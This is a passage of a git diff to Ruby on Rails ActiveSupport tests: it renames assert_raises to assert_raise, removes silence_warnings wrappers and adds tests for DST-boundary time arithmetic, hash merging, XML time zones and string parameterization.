diff --git a/activesupport/test/core_ext/class_test.rb b/activesupport/test/core_ext/class_test.rb
index 9c6071d478..48d8a78acf 100644
--- a/activesupport/test/core_ext/class_test.rb
+++ b/activesupport/test/core_ext/class_test.rb
@@ -19,19 +19,19 @@ class ClassTest < Test::Unit::TestCase
def test_removing_class_in_root_namespace
assert A.is_a?(Class)
Class.remove_class(A)
- assert_raises(NameError) { A.is_a?(Class) }
+ assert_raise(NameError) { A.is_a?(Class) }
end
def test_removing_class_in_one_level_namespace
assert X::B.is_a?(Class)
Class.remove_class(X::B)
- assert_raises(NameError) { X::B.is_a?(Class) }
+ assert_raise(NameError) { X::B.is_a?(Class) }
end
def test_removing_class_in_two_level_namespace
assert Y::Z::C.is_a?(Class)
Class.remove_class(Y::Z::C)
- assert_raises(NameError) { Y::Z::C.is_a?(Class) }
+ assert_raise(NameError) { Y::Z::C.is_a?(Class) }
end
def test_retrieving_subclasses
diff --git a/activesupport/test/core_ext/date_ext_test.rb b/activesupport/test/core_ext/date_ext_test.rb
index 2cedf65153..1001868c77 100644
--- a/activesupport/test/core_ext/date_ext_test.rb
+++ b/activesupport/test/core_ext/date_ext_test.rb
@@ -240,13 +240,11 @@ class DateExtCalculationsTest < Test::Unit::TestCase
end
def test_current_returns_time_zone_today_when_zone_default_set
- silence_warnings do # silence warnings raised by tzinfo gem
- Time.zone_default = ActiveSupport::TimeZone['Eastern Time (US & Canada)']
- with_env_tz 'US/Central' do
- Time.stubs(:now).returns Time.local(1999, 12, 31, 23)
- assert_equal Date.new(1999, 12, 31), Date.today
- assert_equal Date.new(2000, 1, 1), Date.current
- end
+ Time.zone_default = ActiveSupport::TimeZone['Eastern Time (US & Canada)']
+ with_env_tz 'US/Central' do
+ Time.stubs(:now).returns Time.local(1999, 12, 31, 23)
+ assert_equal Date.new(1999, 12, 31), Date.today
+ assert_equal Date.new(2000, 1, 1), Date.current
end
ensure
Time.zone_default = nil
diff --git a/activesupport/test/core_ext/duration_test.rb b/activesupport/test/core_ext/duration_test.rb
index 3948006b42..8954295d10 100644
--- a/activesupport/test/core_ext/duration_test.rb
+++ b/activesupport/test/core_ext/duration_test.rb
@@ -94,23 +94,33 @@ class DurationTest < ActiveSupport::TestCase
end
def test_since_and_ago_anchored_to_time_zone_now_when_time_zone_default_set
- silence_warnings do # silence warnings raised by tzinfo gem
- Time.zone_default = ActiveSupport::TimeZone['Eastern Time (US & Canada)']
- with_env_tz 'US/Eastern' do
- Time.stubs(:now).returns Time.local(2000)
- # since
- assert_equal true, 5.seconds.since.is_a?(ActiveSupport::TimeWithZone)
- assert_equal Time.utc(2000,1,1,0,0,5), 5.seconds.since.time
- assert_equal 'Eastern Time (US & Canada)', 5.seconds.since.time_zone.name
- # ago
- assert_equal true, 5.seconds.ago.is_a?(ActiveSupport::TimeWithZone)
- assert_equal Time.utc(1999,12,31,23,59,55), 5.seconds.ago.time
- assert_equal 'Eastern Time (US & Canada)', 5.seconds.ago.time_zone.name
- end
+ Time.zone_default = ActiveSupport::TimeZone['Eastern Time (US & Canada)']
+ with_env_tz 'US/Eastern' do
+ Time.stubs(:now).returns Time.local(2000)
+ # since
+ assert_equal true, 5.seconds.since.is_a?(ActiveSupport::TimeWithZone)
+ assert_equal Time.utc(2000,1,1,0,0,5), 5.seconds.since.time
+ assert_equal 'Eastern Time (US & Canada)', 5.seconds.since.time_zone.name
+ # ago
+ assert_equal true, 5.seconds.ago.is_a?(ActiveSupport::TimeWithZone)
+ assert_equal Time.utc(1999,12,31,23,59,55), 5.seconds.ago.time
+ assert_equal 'Eastern Time (US & Canada)', 5.seconds.ago.time_zone.name
end
ensure
Time.zone_default = nil
end
+
+ def test_adding_hours_across_dst_boundary
+ with_env_tz 'CET' do
+ assert_equal Time.local(2009,3,29,0,0,0) + 24.hours, Time.local(2009,3,30,1,0,0)
+ end
+ end
+
+ def test_adding_day_across_dst_boundary
+ with_env_tz 'CET' do
+ assert_equal Time.local(2009,3,29,0,0,0) + 1.day, Time.local(2009,3,30,0,0,0)
+ end
+ end
protected
def with_env_tz(new_tz = 'US/Eastern')
diff --git a/activesupport/test/core_ext/hash_ext_test.rb b/activesupport/test/core_ext/hash_ext_test.rb
index b63ab30965..0edac72fe7 100644
--- a/activesupport/test/core_ext/hash_ext_test.rb
+++ b/activesupport/test/core_ext/hash_ext_test.rb
@@ -174,6 +174,13 @@ class HashExtTest < Test::Unit::TestCase
assert_equal 2, hash['b']
end
+ def test_indifferent_reverse_merging
+ hash = HashWithIndifferentAccess.new('some' => 'value', 'other' => 'value')
+ hash.reverse_merge!(:some => 'noclobber', :another => 'clobber')
+ assert_equal 'value', hash[:some]
+ assert_equal 'clobber', hash[:another]
+ end
+
def test_indifferent_deleting
get_hash = proc{ { :a => 'foo' }.with_indifferent_access }
hash = get_hash.call
@@ -234,7 +241,7 @@ class HashExtTest < Test::Unit::TestCase
{ :failure => "stuff", :funny => "business" }.assert_valid_keys(:failure, :funny)
end
- assert_raises(ArgumentError, "Unknown key(s): failore") do
+ assert_raise(ArgumentError, "Unknown key(s): failore") do
{ :failore => "stuff", :funny => "business" }.assert_valid_keys([ :failure, :funny ])
{ :failore => "stuff", :funny => "business" }.assert_valid_keys(:failure, :funny)
end
@@ -490,6 +497,15 @@ class HashToXmlTest < Test::Unit::TestCase
assert xml.include?(%(<addresses type="array"><address><streets type="array"><street><name>))
end
+ def test_timezoned_attributes
+ xml = {
+ :created_at => Time.utc(1999,2,2),
+ :local_created_at => Time.utc(1999,2,2).in_time_zone('Eastern Time (US & Canada)')
+ }.to_xml(@xml_options)
+ assert_match %r{<created-at type=\"datetime\">1999-02-02T00:00:00Z</created-at>}, xml
+ assert_match %r{<local-created-at type=\"datetime\">1999-02-01T19:00:00-05:00</local-created-at>}, xml
+ end
+
def test_single_record_from_xml
topic_xml = <<-EOT
<topic>
@@ -884,7 +900,13 @@ class QueryTest < Test::Unit::TestCase
end
def test_expansion_count_is_limited
- assert_raises RuntimeError do
+ expected = {
+ 'ActiveSupport::XmlMini_REXML' => 'RuntimeError',
+ 'ActiveSupport::XmlMini_Nokogiri' => 'Nokogiri::XML::SyntaxError',
+ 'ActiveSupport::XmlMini_LibXML' => 'LibXML::XML::Error',
+ }[ActiveSupport::XmlMini.backend.name].constantize
+
+ assert_raise expected do
attack_xml = <<-EOT
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE member [
diff --git a/activesupport/test/core_ext/load_error_test.rb b/activesupport/test/core_ext/load_error_test.rb
index 5bb5b4d1b8..cfa8f978af 100644
--- a/activesupport/test/core_ext/load_error_test.rb
+++ b/activesupport/test/core_ext/load_error_test.rb
@@ -2,10 +2,10 @@ require 'abstract_unit'
class TestMissingSourceFile < Test::Unit::TestCase
def test_with_require
- assert_raises(MissingSourceFile) { require 'no_this_file_don\'t_exist' }
+ assert_raise(MissingSourceFile) { require 'no_this_file_don\'t_exist' }
end
def test_with_load
- assert_raises(MissingSourceFile) { load 'nor_does_this_one' }
+ assert_raise(MissingSourceFile) { load 'nor_does_this_one' }
end
def test_path
begin load 'nor/this/one.rb'
diff --git a/activesupport/test/core_ext/module/synchronization_test.rb b/activesupport/test/core_ext/module/synchronization_test.rb
index b1d4bc5e06..c28bc9b073 100644
--- a/activesupport/test/core_ext/module/synchronization_test.rb
+++ b/activesupport/test/core_ext/module/synchronization_test.rb
@@ -28,14 +28,14 @@ class SynchronizationTest < Test::Unit::TestCase
end
def test_synchronize_with_no_mutex_raises_an_argument_error
- assert_raises(ArgumentError) do
+ assert_raise(ArgumentError) do
@target.synchronize :to_s
end
end
def test_double_synchronize_raises_an_argument_error
@target.synchronize :to_s, :with => :mutex
- assert_raises(ArgumentError) do
+ assert_raise(ArgumentError) do
@target.synchronize :to_s, :with => :mutex
end
end
diff --git a/activesupport/test/core_ext/module_test.rb b/activesupport/test/core_ext/module_test.rb
index a5d98507ba..0d3d10f333 100644
--- a/activesupport/test/core_ext/module_test.rb
+++ b/activesupport/test/core_ext/module_test.rb
@@ -92,8 +92,8 @@ class ModuleTest < Test::Unit::TestCase
end
def test_missing_delegation_target
- assert_raises(ArgumentError) { eval($nowhere) }
- assert_raises(ArgumentError) { eval($noplace) }
+ assert_raise(ArgumentError) { eval($nowhere) }
+ assert_raise(ArgumentError) { eval($noplace) }
end
def test_delegation_prefix
@@ -141,7 +141,7 @@ class ModuleTest < Test::Unit::TestCase
def test_delegation_without_allow_nil_and_nil_value
david = Someone.new("David")
- assert_raises(NoMethodError) { david.street }
+ assert_raise(NoMethodError) { david.street }
end
def test_parent
@@ -314,7 +314,7 @@ class MethodAliasingTest < Test::Unit::TestCase
alias_method_chain :duck, :orange
end
- assert_raises NoMethodError do
+ assert_raise NoMethodError do
@instance.duck
end
@@ -330,7 +330,7 @@ class MethodAliasingTest < Test::Unit::TestCase
alias_method_chain :duck, :orange
end
- assert_raises NoMethodError do
+ assert_raise NoMethodError do
@instance.duck
end
diff --git a/activesupport/test/core_ext/object_and_class_ext_test.rb b/activesupport/test/core_ext/object_and_class_ext_test.rb
index 0bdbd14f33..b6515e05a0 100644
--- a/activesupport/test/core_ext/object_and_class_ext_test.rb
+++ b/activesupport/test/core_ext/object_and_class_ext_test.rb
@@ -109,7 +109,7 @@ end
class ObjectTests < Test::Unit::TestCase
def test_suppress_re_raises
- assert_raises(LoadError) { suppress(ArgumentError) {raise LoadError} }
+ assert_raise(LoadError) { suppress(ArgumentError) {raise LoadError} }
end
def test_suppress_supresses
suppress(ArgumentError) { raise ArgumentError }
@@ -256,7 +256,7 @@ class ObjectTryTest < Test::Unit::TestCase
def test_nonexisting_method
method = :undefined_method
assert !@string.respond_to?(method)
- assert_raises(NoMethodError) { @string.try(method) }
+ assert_raise(NoMethodError) { @string.try(method) }
end
def test_valid_method
diff --git a/activesupport/test/core_ext/string_ext_test.rb b/activesupport/test/core_ext/string_ext_test.rb
index e232bf8384..6c9b7e7236 100644
--- a/activesupport/test/core_ext/string_ext_test.rb
+++ b/activesupport/test/core_ext/string_ext_test.rb
@@ -77,6 +77,24 @@ class StringInflectionsTest < Test::Unit::TestCase
end
end
+ def test_string_parameterized_normal
+ StringToParameterized.each do |normal, slugged|
+ assert_equal(normal.parameterize, slugged)
+ end
+ end
+
+ def test_string_parameterized_no_separator
+ StringToParameterizeWithNoSeparator.each do |normal, slugged|
+ assert_equal(normal.parameterize(''), slugged)
+ end
+ end
+
+ def test_string_parameterized_underscore
+ StringToParameterizeWithUnderscore.each do |normal, slugged|
+ assert_equal(normal.parameterize('_'), slugged)
+ end
+ end
+
def test_humanize
UnderscoreToHuman.each do |underscore, human|
assert_equal(human, underscore.humanize)
diff --git a/activesupport/test/core_ext/time_ext_test.rb b/activesupport/test/core_ext/time_ext_test.rb
index 52d6c18dce..8ee4904036 100644
--- a/activesupport/test/core_ext/time_ext_test.rb
+++ b/activesupport/test/core_ext/time_ext_test.rb
@@ -183,26 +183,46 @@ class TimeExtCalculationsTest < Test::Unit::TestCase
def test_daylight_savings_time_crossings_backward_start
with_env_tz 'US/Eastern' do
# dt: US: 2005 April 3rd 4:18am
- assert_equal Time.local(2005,4,2,4,18,0), Time.local(2005,4,3,4,18,0).ago(86400), 'dt-1.day=>st'
- assert_equal Time.local(2005,4,1,4,18,0), Time.local(2005,4,2,4,18,0).ago(86400), 'st-1.day=>st'
+ assert_equal Time.local(2005,4,2,3,18,0), Time.local(2005,4,3,4,18,0).ago(24.hours), 'dt-24.hours=>st'
+ assert_equal Time.local(2005,4,2,3,18,0), Time.local(2005,4,3,4,18,0).ago(86400), 'dt-86400=>st'
+ assert_equal Time.local(2005,4,2,3,18,0), Time.local(2005,4,3,4,18,0).ago(86400.seconds), 'dt-86400.seconds=>st'
+
+ assert_equal Time.local(2005,4,1,4,18,0), Time.local(2005,4,2,4,18,0).ago(24.hours), 'st-24.hours=>st'
+ assert_equal Time.local(2005,4,1,4,18,0), Time.local(2005,4,2,4,18,0).ago(86400), 'st-86400=>st'
+ assert_equal Time.local(2005,4,1,4,18,0), Time.local(2005,4,2,4,18,0).ago(86400.seconds), 'st-86400.seconds=>st'
end
with_env_tz 'NZ' do
# dt: New Zealand: 2006 October 1st 4:18am
- assert_equal Time.local(2006,9,30,4,18,0), Time.local(2006,10,1,4,18,0).ago(86400), 'dt-1.day=>st'
- assert_equal Time.local(2006,9,29,4,18,0), Time.local(2006,9,30,4,18,0).ago(86400), 'st-1.day=>st'
+ assert_equal Time.local(2006,9,30,3,18,0), Time.local(2006,10,1,4,18,0).ago(24.hours), 'dt-24.hours=>st'
+ assert_equal Time.local(2006,9,30,3,18,0), Time.local(2006,10,1,4,18,0).ago(86400), 'dt-86400=>st'
+ assert_equal Time.local(2006,9,30,3,18,0), Time.local(2006,10,1,4,18,0).ago(86400.seconds), 'dt-86400.seconds=>st'
+
+ assert_equal Time.local(2006,9,29,4,18,0), Time.local(2006,9,30,4,18,0).ago(24.hours), 'st-24.hours=>st'
+ assert_equal Time.local(2006,9,29,4,18,0), Time.local(2006,9,30,4,18,0).ago(86400), 'st-86400=>st'
+ assert_equal Time.local(2006,9,29,4,18,0), Time.local(2006,9,30,4,18,0).ago(86400.seconds), 'st-86400.seconds=>st'
end
end
def test_daylight_savings_time_crossings_backward_end
with_env_tz 'US/Eastern' do
# st: US: 2005 October 30th 4:03am
- assert_equal Time.local(2005,10,29,4,3), Time.local(2005,10,30,4,3,0).ago(86400), 'st-1.day=>dt'
- assert_equal Time.local(2005,10,28,4,3), Time.local(2005,10,29,4,3,0).ago(86400), 'dt-1.day=>dt'
+ assert_equal Time.local(2005,10,29,5,3), Time.local(2005,10,30,4,3,0).ago(24.hours), 'st-24.hours=>dt'
+ assert_equal Time.local(2005,10,29,5,3), Time.local(2005,10,30,4,3,0).ago(86400), 'st-86400=>dt'
+ assert_equal Time.local(2005,10,29,5,3), Time.local(2005,10,30,4,3,0).ago(86400.seconds), 'st-86400.seconds=>dt'
+
+ assert_equal Time.local(2005,10,28,4,3), Time.local(2005,10,29,4,3,0).ago(24.hours), 'dt-24.hours=>dt'
+ assert_equal Time.local(2005,10,28,4,3), Time.local(2005,10,29,4,3,0).ago(86400), 'dt-86400=>dt'
+ assert_equal Time.local(2005,10,28,4,3), Time.local(2005,10,29,4,3,0).ago(86400.seconds), 'dt-86400.seconds=>dt'
end
with_env_tz 'NZ' do
# st: New Zealand: 2006 March 19th 4:03am
- assert_equal Time.local(2006,3,18,4,3), Time.local(2006,3,19,4,3,0).ago(86400), 'st-1.day=>dt'
- assert_equal Time.local(2006,3,17,4,3), Time.local(2006,3,18,4,3,0).ago(86400), 'dt-1.day=>dt'
+ assert_equal Time.local(2006,3,18,5,3), Time.local(2006,3,19,4,3,0).ago(24.hours), 'st-24.hours=>dt'
+ assert_equal Time.local(2006,3,18,5,3), Time.local(2006,3,19,4,3,0).ago(86400), 'st-86400=>dt'
+ assert_equal Time.local(2006,3,18,5,3), Time.local(2006,3,19,4,3,0).ago(86400.seconds), 'st-86400.seconds=>dt'
+
+ assert_equal Time.local(2006,3,17,4,3), Time.local(2006,3,18,4,3,0).ago(24.hours), 'dt-24.hours=>dt'
+ assert_equal Time.local(2006,3,17,4,3), Time.local(2006,3,18,4,3,0).ago(86400), 'dt-86400=>dt'
+ assert_equal Time.local(2006,3,17,4,3), Time.local(2006,3,18,4,3,0).ago(86400.seconds), 'dt-86400.seconds=>dt'
end
end
@@ -231,6 +251,7 @@ class TimeExtCalculationsTest < Test::Unit::TestCase
assert_equal Time.local(2006,3,17,4,3), Time.local(2006,3,18,4,3,0).ago(1.day), 'dt-1.day=>dt'
end
end
+
def test_since
assert_equal Time.local(2005,2,22,10,10,11), Time.local(2005,2,22,10,10,10).since(1)
assert_equal Time.local(2005,2,22,11,10,10), Time.local(2005,2,22,10,10,10).since(3600)
@@ -243,13 +264,23 @@ class TimeExtCalculationsTest < Test::Unit::TestCase
def test_daylight_savings_time_crossings_forward_start
with_env_tz 'US/Eastern' do
# st: US: 2005 April 2nd 7:27pm
- assert_equal Time.local(2005,4,3,19,27,0), Time.local(2005,4,2,19,27,0).since(86400), 'st+1.day=>dt'
- assert_equal Time.local(2005,4,4,19,27,0), Time.local(2005,4,3,19,27,0).since(86400), 'dt+1.day=>dt'
+ assert_equal Time.local(2005,4,3,20,27,0), Time.local(2005,4,2,19,27,0).since(24.hours), 'st+24.hours=>dt'
+ assert_equal Time.local(2005,4,3,20,27,0), Time.local(2005,4,2,19,27,0).since(86400), 'st+86400=>dt'
+ assert_equal Time.local(2005,4,3,20,27,0), Time.local(2005,4,2,19,27,0).since(86400.seconds), 'st+86400.seconds=>dt'
+
+ assert_equal Time.local(2005,4,4,19,27,0), Time.local(2005,4,3,19,27,0).since(24.hours), 'dt+24.hours=>dt'
+ assert_equal Time.local(2005,4,4,19,27,0), Time.local(2005,4,3,19,27,0).since(86400), 'dt+86400=>dt'
+ assert_equal Time.local(2005,4,4,19,27,0), Time.local(2005,4,3,19,27,0).since(86400.seconds), 'dt+86400.seconds=>dt'
end
with_env_tz 'NZ' do
# st: New Zealand: 2006 September 30th 7:27pm
- assert_equal Time.local(2006,10,1,19,27,0), Time.local(2006,9,30,19,27,0).since(86400), 'st+1.day=>dt'
- assert_equal Time.local(2006,10,2,19,27,0), Time.local(2006,10,1,19,27,0).since(86400), 'dt+1.day=>dt'
+ assert_equal Time.local(2006,10,1,20,27,0), Time.local(2006,9,30,19,27,0).since(24.hours), 'st+24.hours=>dt'
+ assert_equal Time.local(2006,10,1,20,27,0), Time.local(2006,9,30,19,27,0).since(86400), 'st+86400=>dt'
+ assert_equal Time.local(2006,10,1,20,27,0), Time.local(2006,9,30,19,27,0).since(86400.seconds), 'st+86400.seconds=>dt'
+
+ assert_equal Time.local(2006,10,2,19,27,0), Time.local(2006,10,1,19,27,0).since(24.hours), 'dt+24.hours=>dt'
+ assert_equal Time.local(2006,10,2,19,27,0), Time.local(2006,10,1,19,27,0).since(86400), 'dt+86400=>dt'
+ assert_equal Time.local(2006,10,2,19,27,0), Time.local(2006,10,1,19,27,0).since(86400.seconds), 'dt+86400.seconds=>dt'
end
end
@@ -295,13 +326,23 @@ class TimeExtCalculationsTest < Test::Unit::TestCase
def test_daylight_savings_time_crossings_forward_end
with_env_tz 'US/Eastern' do
# dt: US: 2005 October 30th 12:45am
- assert_equal Time.local(2005,10,31,0,45,0), Time.local(2005,10,30,0,45,0).since(86400), 'dt+1.day=>st'
- assert_equal Time.local(2005,11, 1,0,45,0), Time.local(2005,10,31,0,45,0).since(86400), 'st+1.day=>st'
+ assert_equal Time.local(2005,10,30,23,45,0), Time.local(2005,10,30,0,45,0).since(24.hours), 'dt+24.hours=>st'
+ assert_equal Time.local(2005,10,30,23,45,0), Time.local(2005,10,30,0,45,0).since(86400), 'dt+86400=>st'
+ assert_equal Time.local(2005,10,30,23,45,0), Time.local(2005,10,30,0,45,0).since(86400.seconds), 'dt+86400.seconds=>st'
+
+ assert_equal Time.local(2005,11, 1,0,45,0), Time.local(2005,10,31,0,45,0).since(24.hours), 'st+24.hours=>st'
+ assert_equal Time.local(2005,11, 1,0,45,0), Time.local(2005,10,31,0,45,0).since(86400), 'st+86400=>st'
+ assert_equal Time.local(2005,11, 1,0,45,0), Time.local(2005,10,31,0,45,0).since(86400.seconds), 'st+86400.seconds=>st'
end
with_env_tz 'NZ' do
# dt: New Zealand: 2006 March 19th 1:45am
- assert_equal Time.local(2006,3,20,1,45,0), Time.local(2006,3,19,1,45,0).since(86400), 'dt+1.day=>st'
- assert_equal Time.local(2006,3,21,1,45,0), Time.local(2006,3,20,1,45,0).since(86400), 'st+1.day=>st'
+ assert_equal Time.local(2006,3,20,0,45,0), Time.local(2006,3,19,1,45,0).since(24.hours), 'dt+24.hours=>st'
+ assert_equal Time.local(2006,3,20,0,45,0), Time.local(2006,3,19,1,45,0).since(86400), 'dt+86400=>st'
+ assert_equal Time.local(2006,3,20,0,45,0), Time.local(2006,3,19,1,45,0).since(86400.seconds), 'dt+86400.seconds=>st'
+
+ assert_equal Time.local(2006,3,21,1,45,0), Time.local(2006,3,20,1,45,0).since(24.hours), 'st+24.hours=>st'
+ assert_equal Time.local(2006,3,21,1,45,0), Time.local(2006,3,20,1,45,0).since(86400), 'st+86400=>st'
+ assert_equal Time.local(2006,3,21,1,45,0), Time.local(2006,3,20,1,45,0).since(86400.seconds), 'st+86400.seconds=>st'
end
end
@@ -461,6 +502,10 @@ class TimeExtCalculationsTest < Test::Unit::TestCase
with_env_tz "UTC" do
assert_equal "Mon, 21 Feb 2005 17:44:30 +0000", time.to_s(:rfc822)
end
+ with_env_tz "US/Central" do
+ assert_equal "Thu, 05 Feb 2009 14:30:05 -0600", Time.local(2009, 2, 5, 14, 30, 5).to_s(:rfc822)
+ assert_equal "Mon, 09 Jun 2008 04:05:01 -0500", Time.local(2008, 6, 9, 4, 5, 1).to_s(:rfc822)
+ end
end
def test_custom_date_format
diff --git a/activesupport/test/core_ext/time_with_zone_test.rb b/activesupport/test/core_ext/time_with_zone_test.rb
index 4dc1fec559..7be19e7900 100644
--- a/activesupport/test/core_ext/time_with_zone_test.rb
+++ b/activesupport/test/core_ext/time_with_zone_test.rb
@@ -13,9 +13,7 @@ class TimeWithZoneTest < Test::Unit::TestCase
end
def test_time
- silence_warnings do # silence warnings raised by tzinfo gem
- assert_equal Time.utc(1999, 12, 31, 19), @twz.time
- end
+ assert_equal Time.utc(1999, 12, 31, 19), @twz.time
end
def test_time_zone
@@ -42,30 +40,22 @@ class TimeWithZoneTest < Test::Unit::TestCase
end
def test_formatted_offset
- silence_warnings do # silence warnings raised by tzinfo gem
- assert_equal '-05:00', @twz.formatted_offset
- assert_equal '-04:00', ActiveSupport::TimeWithZone.new(Time.utc(2000, 6), @time_zone).formatted_offset #dst
- end
+ assert_equal '-05:00', @twz.formatted_offset
+ assert_equal '-04:00', ActiveSupport::TimeWithZone.new(Time.utc(2000, 6), @time_zone).formatted_offset #dst
end
def test_dst?
- silence_warnings do # silence warnings raised by tzinfo gem
- assert_equal false, @twz.dst?
- assert_equal true, ActiveSupport::TimeWithZone.new(Time.utc(2000, 6), @time_zone).dst?
- end
+ assert_equal false, @twz.dst?
+ assert_equal true, ActiveSupport::TimeWithZone.new(Time.utc(2000, 6), @time_zone).dst?
end
def test_zone
- silence_warnings do # silence warnings raised by tzinfo gem
- assert_equal 'EST', @twz.zone
- assert_equal 'EDT', ActiveSupport::TimeWithZone.new(Time.utc(2000, 6), @time_zone).zone #dst
- end
+ assert_equal 'EST', @twz.zone
+ assert_equal 'EDT', ActiveSupport::TimeWithZone.new(Time.utc(2000, 6), @time_zone).zone #dst
end
def test_to_json
- silence_warnings do # silence warnings raised by tzinfo gem
- assert_equal "\"1999/12/31 19:00:00 -0500\"", @twz.to_json
- end
+ assert_equal "\"1999/12/31 19:00:00 -0500\"", @twz.to_json
end
def test_to_json_with_use_standard_json_time_format_config_set_to_true
@@ -76,66 +66,50 @@ class TimeWithZoneTest < Test::Unit::TestCase
end
def test_strftime
- silence_warnings do # silence warnings raised by tzinfo gem
- assert_equal '1999-12-31 19:00:00 EST -0500', @twz.strftime('%Y-%m-%d %H:%M:%S %Z %z')
- end
+ assert_equal '1999-12-31 19:00:00 EST -0500', @twz.strftime('%Y-%m-%d %H:%M:%S %Z %z')
end
def test_inspect
- silence_warnings do # silence warnings raised by tzinfo gem
- assert_equal 'Fri, 31 Dec 1999 19:00:00 EST -05:00', @twz.inspect
- end
+ assert_equal 'Fri, 31 Dec 1999 19:00:00 EST -05:00', @twz.inspect
end
def test_to_s
- silence_warnings do # silence warnings raised by tzinfo gem
- assert_equal '1999-12-31 19:00:00 -0500', @twz.to_s
- end
+ assert_equal '1999-12-31 19:00:00 -0500', @twz.to_s
+ end
+
+ def test_to_formatted_s
+ assert_equal '1999-12-31 19:00:00 -0500', @twz.to_formatted_s
end
def test_to_s_db
- silence_warnings do # silence warnings raised by tzinfo gem
- assert_equal '2000-01-01 00:00:00', @twz.to_s(:db)
- end
+ assert_equal '2000-01-01 00:00:00', @twz.to_s(:db)
end
def test_xmlschema
- silence_warnings do # silence warnings raised by tzinfo gem
- assert_equal "1999-12-31T19:00:00-05:00", @twz.xmlschema
- end
+ assert_equal "1999-12-31T19:00:00-05:00", @twz.xmlschema
end
def test_xmlschema_with_fractional_seconds
- silence_warnings do # silence warnings raised by tzinfo gem
- @twz += 0.123456 # advance the time by a fraction of a second
- assert_equal "1999-12-31T19:00:00.123-05:00", @twz.xmlschema(3)
- assert_equal "1999-12-31T19:00:00.123456-05:00", @twz.xmlschema(6)
- assert_equal "1999-12-31T19:00:00.123456-05:00", @twz.xmlschema(12)
- end
+ @twz += 0.123456 # advance the time by a fraction of a second
+ assert_equal "1999-12-31T19:00:00.123-05:00", @twz.xmlschema(3)
+ assert_equal "1999-12-31T19:00:00.123456-05:00", @twz.xmlschema(6)
+ assert_equal "1999-12-31T19:00:00.123456-05:00", @twz.xmlschema(12)
end
def test_to_yaml
- silence_warnings do # silence warnings raised by tzinfo gem
- assert_equal "--- 1999-12-31 19:00:00 -05:00\n", @twz.to_yaml
- end
+ assert_equal "--- 1999-12-31 19:00:00 -05:00\n", @twz.to_yaml
end
def test_ruby_to_yaml
- silence_warnings do
- assert_equal "--- \n:twz: 2000-01-01 00:00:00 Z\n", {:twz => @twz}.to_yaml
- end
+ assert_equal "--- \n:twz: 2000-01-01 00:00:00 Z\n", {:twz => @twz}.to_yaml
end
def test_httpdate
- silence_warnings do # silence warnings raised by tzinfo gem
- assert_equal 'Sat, 01 Jan 2000 00:00:00 GMT', @twz.httpdate
- end
+ assert_equal 'Sat, 01 Jan 2000 00:00:00 GMT', @twz.httpdate
end
def test_rfc2822
- silence_warnings do # silence warnings raised by tzinfo gem
- assert_equal "Fri, 31 Dec 1999 19:00:00 -0500", @twz.rfc2822
- end
+ assert_equal "Fri, 31 Dec 1999 19:00:00 -0500", @twz.rfc2822
end
def test_compare_with_time
@@ -209,50 +183,36 @@ class TimeWithZoneTest < Test::Unit::TestCase
end
def test_plus_with_integer
- silence_warnings do # silence warnings raised by tzinfo gem
- assert_equal Time.utc(1999, 12, 31, 19, 0 ,5), (@twz + 5).time
- end
+ assert_equal Time.utc(1999, 12, 31, 19, 0 ,5), (@twz + 5).time
end
def test_plus_with_integer_when_self_wraps_datetime
- silence_warnings do # silence warnings raised by tzinfo gem
- datetime = DateTime.civil(2000, 1, 1, 0)
- twz = ActiveSupport::TimeWithZone.new(datetime, @time_zone)
- assert_equal DateTime.civil(1999, 12, 31, 19, 0 ,5), (twz + 5).time
- end
+ datetime = DateTime.civil(2000, 1, 1, 0)
+ twz = ActiveSupport::TimeWithZone.new(datetime, @time_zone)
+ assert_equal DateTime.civil(1999, 12, 31, 19, 0 ,5), (twz + 5).time
end
def test_plus_when_crossing_time_class_limit
- silence_warnings do # silence warnings raised by tzinfo gem
- twz = ActiveSupport::TimeWithZone.new(Time.utc(2038, 1, 19), @time_zone)
- assert_equal [0, 0, 19, 19, 1, 2038], (twz + 86_400).to_a[0,6]
- end
+ twz = ActiveSupport::TimeWithZone.new(Time.utc(2038, 1, 19), @time_zone)
+ assert_equal [0, 0, 19, 19, 1, 2038], (twz + 86_400).to_a[0,6]
end
def test_plus_with_duration
- silence_warnings do # silence warnings raised by tzinfo gem
- assert_equal Time.utc(2000, 1, 5, 19, 0 ,0), (@twz + 5.days).time
- end
+ assert_equal Time.utc(2000, 1, 5, 19, 0 ,0), (@twz + 5.days).time
end
def test_minus_with_integer
- silence_warnings do # silence warnings raised by tzinfo gem
- assert_equal Time.utc(1999, 12, 31, 18, 59 ,55), (@twz - 5).time
- end
+ assert_equal Time.utc(1999, 12, 31, 18, 59 ,55), (@twz - 5).time
end
def test_minus_with_integer_when_self_wraps_datetime
- silence_warnings do # silence warnings raised by tzinfo gem
- datetime = DateTime.civil(2000, 1, 1, 0)
- twz = ActiveSupport::TimeWithZone.new(datetime, @time_zone)
- assert_equal DateTime.civil(1999, 12, 31, 18, 59 ,55), (twz - 5).time
- end
+ datetime = DateTime.civil(2000, 1, 1, 0)
+ twz = ActiveSupport::TimeWithZone.new(datetime, @time_zone)
+ assert_equal DateTime.civil(1999, 12, 31, 18, 59 ,55), (twz - 5).time
end
def test_minus_with_duration
- silence_warnings do # silence warnings raised by tzinfo gem
- assert_equal Time.utc(1999, 12, 26, 19, 0 ,0), (@twz - 5.days).time
- end
+ assert_equal Time.utc(1999, 12, 26, 19, 0 ,0), (@twz - 5.days).time
end
def test_minus_with_time
@@ -265,56 +225,50 @@ class TimeWithZoneTest < Test::Unit::TestCase
twz2 = ActiveSupport::TimeWithZone.new( Time.utc(2000, 1, 2), ActiveSupport::TimeZone['UTC'] )
assert_equal 86_400.0, twz2 - twz1
end
-
+
def test_minus_with_datetime
assert_equal 86_400.0, ActiveSupport::TimeWithZone.new( Time.utc(2000, 1, 2), ActiveSupport::TimeZone['UTC'] ) - DateTime.civil(2000, 1, 1)
end
-
+
def test_minus_with_wrapped_datetime
assert_equal 86_400.0, ActiveSupport::TimeWithZone.new( DateTime.civil(2000, 1, 2), ActiveSupport::TimeZone['UTC'] ) - Time.utc(2000, 1, 1)
assert_equal 86_400.0, ActiveSupport::TimeWithZone.new( DateTime.civil(2000, 1, 2), ActiveSupport::TimeZone['UTC'] ) - DateTime.civil(2000, 1, 1)
end
def test_plus_and_minus_enforce_spring_dst_rules
- silence_warnings do # silence warnings raised by tzinfo gem
- utc = Time.utc(2006,4,2,6,59,59) # == Apr 2 2006 01:59:59 EST; i.e., 1 second before daylight savings start
- twz = ActiveSupport::TimeWithZone.new(utc, @time_zone)
- assert_equal Time.utc(2006,4,2,1,59,59), twz.time
- assert_equal false, twz.dst?
